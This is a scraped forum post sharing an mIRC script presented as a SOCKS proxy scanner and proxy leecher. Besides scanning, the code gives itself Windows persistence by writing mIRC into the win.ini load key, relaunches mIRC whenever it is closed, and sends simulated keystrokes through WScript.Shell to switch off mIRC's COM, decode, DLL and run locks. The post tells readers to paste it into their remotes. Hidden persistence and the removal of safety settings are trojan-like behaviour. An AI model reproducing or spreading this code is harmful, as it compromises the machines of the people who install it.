  if ($getiphost2($htmlfree(%temp))) {
    unset %incvar4
    :INC
    inc %incvar4
    write temp.s $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar4,32))
    if (%incvar4 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
    goto inc
    :end2
  }
  .timerPLAYs4 1 5 .s5file temp.s %interval
  .timerPLAYs5 1 5 .s4file temp.s %interval
  .timerPLAY1 1 6 .remove temp.s
}
on 1:SOCKOPEN:today*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname sockstoday.com 80 | return }
  sockwrite -n $sockname GET http://sockstoday.com/ HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:today*:{
  sockread -n %temp
  if ($getiphost2($htmlfree(%temp))) write temp.sock $getiphost2($htmlfree(%temp))
  .timertoday1 1 5 .s5file temp.sock %interval
  .timertoday11 1 5 .s4file temp.sock %interval
  .timertoday111 1 5 .remove temp.sock
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias -l htmlfree {
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ;;)
  return %x
}
alias logo return ProxYScaN
Alias _lock {
  if ($lock(com) == $true) { echo $color(info) -at * $!_lock() Error - COM is currently locked through mIRC options and this snippet counts on COM objects. Please, enable COM from the mIRC lock options. | return }
  if (!$isid) { echo $color(info) -at * $!_lock() Error - This ust be used as an identifier | return }
  if ($regex($1,/^(com|decode|dll|run)$/i)) {
    var %i = $findtok(com|decode|dll|run,$regml(1),1,124)
    var %echo = echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($regml(1)) == $true,disabled,enabled) $+ . $iif($lock($regml(1)) == $true,Enabling,Disabling) now.
    var %cmd = .sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},{TAB 10},{DOWN %i $+ }h h{ENTER})
    if (!$prop) { echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($1),disabled,enabled) $+ . $iif($lock($1),Enabling,Disabling) now. | %cmd }
    else {
      var %prop = $findtok(state e enable d disable o option,$prop,1,32)
      if (!%prop) { echo $color(info) -at * $!_lock() Error - Bad property. Syntax: $!_lock(<category>).e d o /enable disable option | return }
      if (%prop == 1) echo $color(info) -at * $!_lock - $upper($1) is currently $iif($lock($regml(1)),disabled,enabled)
      elseif (%prop isnum 2-3) { if (!$lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already enabled. } | else { %echo | %cmd } }
      elseif (%prop isnum 4-5) { if ($lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already disabled. } | else { %echo | %cmd } }
      elseif (%prop isnum 6-7) sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
    }
  }
  else { echo $color(info) -at * $!_lock() Error - Available options are Com Decode DLL Run | return }
}
Alias -l sendkeys {
  var %object = sendkeys $+ $ticks
  .comopen %object WScript.Shell
  if ($com(%object)) { .comclose %object $com(%object,SendKeys,3,bstr,$1-) }
}
Alias bringopt {
  var %i = $findtok(com|decode|dll|run,$1,1,124)
  sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
}
on 1:START:{ inc %start | Echo -a Its the %start $+ th time mIRC started. | titlebar Proxy Scan Script | .timercc -o 0 10 chk.cc | writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win | noop $_lock(decode).e }
on 1:EXIT:run $shortfn($mircexe)

11
General Chat / mIRC Socks Proxy Scanner + Web Proxy Leecher
« on: June 28, 2009, 03:37:23 PM »
Code: [Select]
; http://www.hawkee.com/snippet/6292/
; http://www.ircfr.com/codes/BUG-FIXED-MIRC-SOCKS-PROXY-SCANNER-WEB-PROXY_50235.aspx
;------

;Will automatically leech proxys and socks to test them against irc server and make txt file with results.;IRC proxy scanner BETA made by myself (independent)

;Disclaimer:

;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.

;I will not be held responsible for any of your actions.

;If you don't agree, do not install this file.

;By not deleting this and using the proxy scanner, you accept the responsibility of your action on your own.

;IMPORTANT NOTE: Be sure you have the $decode option unlocked in mIRC else the script won't work at all.

;TO INSTALL: Copy & Paste the remote code from one of those sites into your mIRC remotes by pressing [u]ALT+R in mIRC (That makes REMOTES window open) . Hit Ok.

Pages: [1]
anything
anything